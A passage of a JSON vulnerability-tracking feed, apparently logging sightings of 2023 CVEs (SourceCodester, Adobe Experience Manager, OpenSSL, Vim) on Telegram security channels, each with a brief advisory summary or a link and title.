"https://t.me/cibsecurity/70175", "content": "\u203c CVE-2023-4847 \u203c\n\nA vulnerability classified as problematic has been found in SourceCodester Simple Book Catalog App 1.0. Affected is an unknown function of the component Update Book Form. The manipulation of the argument book_title/book_author leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-239256.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-09T12:27:08.000000Z"}, {"uuid": "4fe01111-e964-4bfd-bc57-d0510bfc15db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4845", "type": "seen", "source": "https://t.me/cibsecurity/70174", "content": "\u203c CVE-2023-4845 \u203c\n\nA vulnerability was found in SourceCodester Simple Membership System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file account_edit_query.php. The manipulation of the argument admin_id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-239254 is the identifier assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-09T12:20:18.000000Z"}, {"uuid": "70be9760-83ad-4961-8717-117d136e36fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4846", "type": "seen", "source": "https://t.me/cibsecurity/70173", "content": "\u203c CVE-2023-4846 \u203c\n\nA vulnerability was found in SourceCodester Simple Membership System 1.0. It has been rated as critical. This issue affects some unknown processing of the file delete_member.php. The manipulation of the argument mem_id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-239255.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-10T09:58:50.000000Z"}, {"uuid": "37316847-f3ef-4be6-bd26-7aea08b55ad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4843", "type": "seen", "source": "https://t.me/cibsecurity/70150", "content": "\u203c CVE-2023-4843 \u203c\n\nPega Platform versions 7.1 to 8.8.3 are affected by an HTML Injection issue with a name field utilized in Visual Business Director, however this field can only be modified by an authenticated administrative user.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-08T20:19:03.000000Z"}, {"uuid": "7773f6c5-e152-47e5-b8ad-3751e19cc398", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4807", "type": "seen", "source": "https://t.me/cibsecurity/70143", "content": "\u203c CVE-2023-4807 \u203c\n\nIssue summary: The POLY1305 MAC (message authentication code) implementationcontains a bug that might corrupt the internal state of applications on theWindows 64 platform when running on newer X86_64 processors supporting theAVX512-IFMA instructions.Impact summary: If in an application that uses the OpenSSL library an attackercan influence whether the POLY1305 MAC algorithm is used, the applicationstate might be corrupted with various application dependent consequences.The POLY1305 MAC (message authentication code) implementation in OpenSSL doesnot save the contents of non-volatile XMM registers on Windows 64 platformwhen calculating the MAC of data larger than 64 bytes. Before returning tothe caller all the XMM registers are set to zero rather than restoring theirprevious content. The vulnerable code is used only on newer x86_64 processorssupporting the AVX512-IFMA instructions.The consequences of this kind of internal application state corruption canbe various - from no consequences, if the calling application does notdepend on the contents of non-volatile XMM registers at all, to the worstconsequences, where the attacker could get complete control of the applicationprocess. However given the contents of the registers are just zeroized sothe attacker cannot put arbitrary values inside, the most likely consequence,if any, would be an incorrect result of some application dependentcalculations or a crash leading to a denial of service.The POLY1305 MAC algorithm is most frequently used as part of theCHACHA20-POLY1305 AEAD (authenticated encryption with associated data)algorithm. The most common usage of this AEAD cipher is with TLS protocolversions 1.2 and 1.3 and a malicious client can influence whether this AEADcipher is used by the server. This implies that server applications usingOpenSSL can be potentially impacted. However we are currently not aware ofany concrete application that would be affected by this issue therefore weconsider this a Low severity security issue.As a workaround the AVX512-IFMA instructions support can be disabled atruntime by setting the environment variable OPENSSL_ia32cap: OPENSSL_ia32cap=:~0x200000The FIPS provider is not affected by this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-08T16:19:34.000000Z"}, {"uuid": "35894098-800f-4375-a401-7c2022ac692b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48609", "type": "seen", "source": "https://t.me/ctinow/163968", "content": "https://ift.tt/KThJj0d\nCVE-2023-48609 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T17:01:52.000000Z"}, {"uuid": "fa90d74c-15b5-4fa6-a7d3-95e633526e59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48608", "type": "seen", "source": "https://t.me/ctinow/163967", "content": "https://ift.tt/TJcQHkF\nCVE-2023-48608 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T17:01:50.000000Z"}, {"uuid": "e0cded29-fa36-4da7-a69e-46701dfa9873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48536", "type": "seen", "source": "https://t.me/ctinow/163833", "content": "https://ift.tt/XPzNc6l\nCVE-2023-48536 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T07:21:20.000000Z"}, {"uuid": "34b32192-bcc6-47fe-b2d2-016b5774eb3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48535", "type": "seen", "source": "https://t.me/ctinow/163832", "content": "https://ift.tt/JfjoZuB\nCVE-2023-48535 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T07:21:19.000000Z"}, {"uuid": "446cf489-dc78-4734-a2cb-88b16d0dbdca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48115", "type": "seen", "source": "https://t.me/ctinow/157849", "content": "https://ift.tt/FWuX79H\nCVE-2023-48115 | SmarterTools SmarterMail prior 16.x Build 8747 XSS Protection Mechanism messageHTML/messagePlainText protection mechanism", "creation_timestamp": "2023-12-21T17:42:43.000000Z"}, {"uuid": "e1d35ec4-824a-4580-a68d-866d34a86609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/ctinow/160196", "content": "https://ift.tt/ELDnlSp\nCVE-2023-48795 Exploit", "creation_timestamp": "2023-12-28T21:16:39.000000Z"}, {"uuid": "7a0169c6-4d76-459d-8eea-c755120d0c76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48580", "type": "seen", "source": "https://t.me/ctinow/163920", "content": "https://ift.tt/ZnjQYyb\nCVE-2023-48580 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T12:56:57.000000Z"}, {"uuid": "2c36e57e-f9c8-49c9-9ccf-ea33e6de4cc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48704", "type": "seen", "source": "https://t.me/ctinow/158490", "content": "https://ift.tt/petAPgX\nCVE-2023-48704", "creation_timestamp": "2023-12-22T17:23:44.000000Z"}, {"uuid": "7dd83749-8d54-4627-931b-48438f9167fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48670", "type": "seen", "source": "https://t.me/ctinow/158489", "content": "https://ift.tt/DVMTjCg\nCVE-2023-48670", "creation_timestamp": "2023-12-22T17:23:43.000000Z"}, {"uuid": "6d88ee5f-6cbe-4d57-a5a1-e88f6edd0ef6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48654", "type": "seen", "source": "https://t.me/ctinow/164039", "content": "https://ift.tt/nELr2QZ\nCVE-2023-48654 | One Identity Password Manager Secure Password Extension up to 5.13.0 Kiosk Mode access control", "creation_timestamp": "2024-01-07T02:06:17.000000Z"}, {"uuid": "0ce63b80-bb14-46b9-801e-3178c5eb29a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48594", "type": "seen", "source": "https://t.me/ctinow/163943", "content": "https://ift.tt/DwFsJLu\nCVE-2023-48594 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T14:56:29.000000Z"}, {"uuid": "2b03811c-d27c-4096-b0a3-e06dd86a734d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48593", "type": "seen", "source": "https://t.me/ctinow/163942", "content": "https://ift.tt/btMJ5qn\nCVE-2023-48593 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T14:56:27.000000Z"}, {"uuid": "9627e2c9-4f3f-47bd-8f96-da073b92eb7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48592", "type": "seen", "source": "https://t.me/ctinow/163941", "content": "https://ift.tt/MJF8ZPB\nCVE-2023-48592 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T14:56:26.000000Z"}, {"uuid": "0aa6545a-aeb7-4d11-9bd8-8addaba6119e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48591", "type": "seen", "source": "https://t.me/ctinow/163940", "content": "https://ift.tt/D8vf76t\nCVE-2023-48591 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T14:56:25.000000Z"}, {"uuid": "1ee12b48-2157-43ca-afff-77b8d4e8e2d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48590", "type": "seen", "source": "https://t.me/ctinow/163938", "content": "https://ift.tt/oYXS6AU\nCVE-2023-48590 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T14:26:19.000000Z"}, {"uuid": "e6a61152-82ec-4fdd-a521-ee97201a6e5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48589", "type": "seen", "source": "https://t.me/ctinow/163937", "content": "https://ift.tt/tjEVIQZ\nCVE-2023-48589 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T14:26:18.000000Z"}, {"uuid": "7d7c6ff6-2a3e-45f9-83c8-c862176cd35e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48588", "type": "seen", "source": "https://t.me/ctinow/163936", "content": "https://ift.tt/H6Jt3X8\nCVE-2023-48588 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T14:26:17.000000Z"}, {"uuid": "3098a108-cdcd-47e6-a306-5c96273c0676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48003", "type": "seen", "source": "https://t.me/ctinow/159474", "content": "https://ift.tt/TCqWthN\nCVE-2023-48003", "creation_timestamp": "2023-12-26T23:26:40.000000Z"}, {"uuid": "3a2196a3-7a6c-428f-9419-60c96744b56e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48554", "type": "seen", "source": "https://t.me/ctinow/163863", "content": "https://ift.tt/4NSXR7d\nCVE-2023-48554 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T09:21:34.000000Z"}, {"uuid": "e587f557-773f-4218-9c1b-a0efc1696090", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48553", "type": "seen", "source": "https://t.me/ctinow/163862", "content": "https://ift.tt/lBKjZh9\nCVE-2023-48553 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T09:21:32.000000Z"}, {"uuid": "cb0615a3-d71f-406d-8c64-4d3464adaa9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48552", "type": "seen", "source": "https://t.me/ctinow/163861", "content": "https://ift.tt/wjEiAlQ\nCVE-2023-48552 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T09:21:30.000000Z"}, {"uuid": "8f430d4b-2948-484a-bb57-1922377ffbf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48466", "type": "seen", "source": "https://t.me/ctinow/163031", "content": "https://ift.tt/CKTqpb7\nCVE-2023-48466 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T15:11:58.000000Z"}, {"uuid": "f581c2f0-74f2-4add-be94-b92b974e45d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48234", "type": "seen", "source": "https://t.me/ctinow/159648", "content": "https://ift.tt/6JXxU9l\nCVE-2023-48234 Vim Vulnerability in NetApp Products", "creation_timestamp": "2023-12-27T15:32:24.000000Z"}, {"uuid": "8f91eb54-1b2e-41ec-b4d2-2a4287e3f6e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48237", "type": "seen", "source": "https://t.me/ctinow/159647", "content": "https://ift.tt/FLMS3nb\nCVE-2023-48237 Vim Vulnerability in NetApp Products", "creation_timestamp": "2023-12-27T15:32:23.000000Z"}, {"uuid": "23338496-a200-455c-a87f-9974daf1d39e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48232", "type": "seen", "source": "https://t.me/ctinow/159646", "content": "https://ift.tt/iC6uVy5\nCVE-2023-48232 Vim Vulnerability in NetApp Products", "creation_timestamp": "2023-12-27T15:32:22.000000Z"}, {"uuid": "0c94b1cd-f862-4b0e-abeb-e9faca9f8a6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48235", "type": "seen", "source": "https://t.me/ctinow/159645", "content": "https://ift.tt/Wy203Lg\nCVE-2023-48235 Vim Vulnerability in NetApp Products", "creation_timestamp": "2023-12-27T15:32:21.000000Z"}, {"uuid": "6527ecc1-1bae-4e04-9394-df62f9f1c055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48231", "type": "seen", "source": "https://t.me/ctinow/159644", "content": "https://ift.tt/nsq1O75\nCVE-2023-48231 Vim Vulnerability in NetApp Products", "creation_timestamp": "2023-12-27T15:32:20.000000Z"}, {"uuid": "c63b7680-38c7-4620-bbcf-8428f5a300f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48654", "type": "seen", "source": "https://t.me/ctinow/159151", "content": "https://ift.tt/Tk1fxCj\nCVE-2023-48654", "creation_timestamp": "2023-12-25T07:27:03.000000Z"}, {"uuid": "d5a210aa-9242-4c11-9064-8651f552fa0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48930", "type": "seen", "source": "https://t.me/ctinow/159076", "content": "https://ift.tt/u46qKlX\nCVE-2023-48930 | Xinhu Xinhuoa 2.2.1 File Upload unrestricted upload", "creation_timestamp": "2023-12-24T18:21:58.000000Z"}, {"uuid": "bece87e3-d5d2-4ac9-b3a8-9900257cf9a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48940", "type": "seen", "source": "https://t.me/ctinow/159065", "content": "https://ift.tt/xvP2Q19\nCVE-2023-48940 | DaiCuo 2.5.15 /admin.php cross site scripting", "creation_timestamp": "2023-12-24T17:51:10.000000Z"}, {"uuid": "ed2385e4-11a1-4ac8-ba75-cd0ac14bc45a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48578", "type": "seen", "source": "https://t.me/ctinow/163917", "content": "https://ift.tt/YRthBlL\nCVE-2023-48578 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T12:26:23.000000Z"}, {"uuid": "91852a8d-fad2-43e5-8548-6c5fe6a475a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48577", "type": "seen", "source": "https://t.me/ctinow/163916", "content": "https://ift.tt/nz8XvgG\nCVE-2023-48577 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T12:26:22.000000Z"}, {"uuid": "1a5bc6fc-400c-41c3-b6b4-6307a716c288", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48576", "type": "seen", "source": "https://t.me/ctinow/163914", "content": "https://ift.tt/i8qE1cI\nCVE-2023-48576 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T11:56:28.000000Z"}, {"uuid": "a8657116-edeb-4f26-b5dc-36ef63f9a66e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48575", "type": "seen", "source": "https://t.me/ctinow/163913", "content": "https://ift.tt/O7GsUAQ\nCVE-2023-48575 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T11:56:27.000000Z"}, {"uuid": "c9395726-449f-4f17-a3bd-451881b40b8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48574", "type": "seen", "source": "https://t.me/ctinow/163911", "content": "https://ift.tt/AYG7nv4\nCVE-2023-48574 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T11:26:14.000000Z"}, {"uuid": "c96351e7-f2f3-4051-91f6-d6382684575e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48545", "type": "seen", "source": "https://t.me/ctinow/163853", "content": "https://ift.tt/braxHIq\nCVE-2023-48545 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T08:51:27.000000Z"}, {"uuid": "24a171b7-0866-47f8-9267-6ae0e6e10ff7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48540", "type": "seen", "source": "https://t.me/ctinow/163843", "content": "https://ift.tt/wRzqs0O\nCVE-2023-48540 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T08:26:24.000000Z"}, {"uuid": "d2b7978a-cd0a-4f05-8d5a-89ac335fd154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48539", "type": "seen", "source": "https://t.me/ctinow/163838", "content": "https://ift.tt/Kn0Bqe1\nCVE-2023-48539 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T07:56:41.000000Z"}, {"uuid": "0916637d-28b4-41bd-8fa7-04afa472118c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48538", "type": "seen", "source": "https://t.me/ctinow/163837", "content": "https://ift.tt/rJfXpuv\nCVE-2023-48538 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T07:56:40.000000Z"}, {"uuid": "c6879f17-e08b-40b8-8201-77c5b23f3384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48537", "type": "seen", "source": "https://t.me/ctinow/163836", "content": "https://ift.tt/b2lpzgq\nCVE-2023-48537 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T07:56:39.000000Z"}, {"uuid": "f8ac848a-b9b4-42f1-a7db-4685ea9c8073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48515", "type": "seen", "source": "https://t.me/ctinow/163364", "content": "https://ift.tt/cUbKftT\nCVE-2023-48515 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T04:01:17.000000Z"}, {"uuid": "d73e61d5-0be0-4f6d-a3c2-852ba397a2d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48514", "type": "seen", "source": "https://t.me/ctinow/163363", "content": "https://ift.tt/l6rZ3Nf\nCVE-2023-48514 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T04:01:16.000000Z"}, {"uuid": "f9cf8951-9619-4379-9657-1f5a2bea9df2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48512", "type": "seen", "source": "https://t.me/ctinow/163358", "content": "https://ift.tt/OvnGfpd\nCVE-2023-48512 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T03:26:52.000000Z"}, {"uuid": "e60f54ab-11e6-4c1f-8bc6-340b7966e054", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48513", "type": "seen", "source": "https://t.me/ctinow/163362", "content": "https://ift.tt/c7XblDM\nCVE-2023-48513 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-05T04:01:14.000000Z"}, {"uuid": "a5610c76-71bc-4906-889f-5369d9a21599", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48638", "type": "seen", "source": "https://t.me/ctinow/164032", "content": "https://ift.tt/LEpIuJV\nCVE-2023-48638 | Adobe Substance 3D Designer up to 13.0.0 out-of-bounds (apsb23-76)", "creation_timestamp": "2024-01-07T01:06:45.000000Z"}, {"uuid": "f8fa80a5-eb15-48a4-8119-550baa884348", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48637", "type": "seen", "source": "https://t.me/ctinow/164031", "content": "https://ift.tt/syIDPfz\nCVE-2023-48637 | Adobe Substance 3D Designer up to 13.0.0 out-of-bounds (apsb23-76)", "creation_timestamp": "2024-01-07T01:06:44.000000Z"}, {"uuid": "daa73399-8ccb-4cf3-b2e2-b22d845200f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48624", "type": "seen", "source": "https://t.me/ctinow/164008", "content": "https://ift.tt/PG4XRhw\nCVE-2023-48624 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T20:31:52.000000Z"}, {"uuid": "51a9aff5-cc3b-458c-a8e6-ab20eee5664a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48566", "type": "seen", "source": "https://t.me/ctinow/163886", "content": "https://ift.tt/uKmXfNE\nCVE-2023-48566 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T10:21:15.000000Z"}, {"uuid": "4607ef70-86e0-4c3e-9f52-6812d604c661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48565", "type": "seen", "source": "https://t.me/ctinow/163885", "content": "https://ift.tt/oaF7WrT\nCVE-2023-48565 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T10:21:14.000000Z"}, {"uuid": "f97af298-8a60-4eb0-8997-9c473b43c25b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48551", "type": "seen", "source": "https://t.me/ctinow/163860", "content": "https://ift.tt/qXzMpbc\nCVE-2023-48551 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T09:21:29.000000Z"}, {"uuid": "50bab890-d757-46b4-ba6a-f97f961400e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48549", "type": "seen", "source": "https://t.me/ctinow/163857", "content": "https://ift.tt/RbEpqWi\nCVE-2023-48549 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T08:51:32.000000Z"}, {"uuid": "3aa44c30-6b29-442d-83ee-38272951f732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48548", "type": "seen", "source": "https://t.me/ctinow/163856", "content": "https://ift.tt/eSvJm36\nCVE-2023-48548 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T08:51:31.000000Z"}, {"uuid": 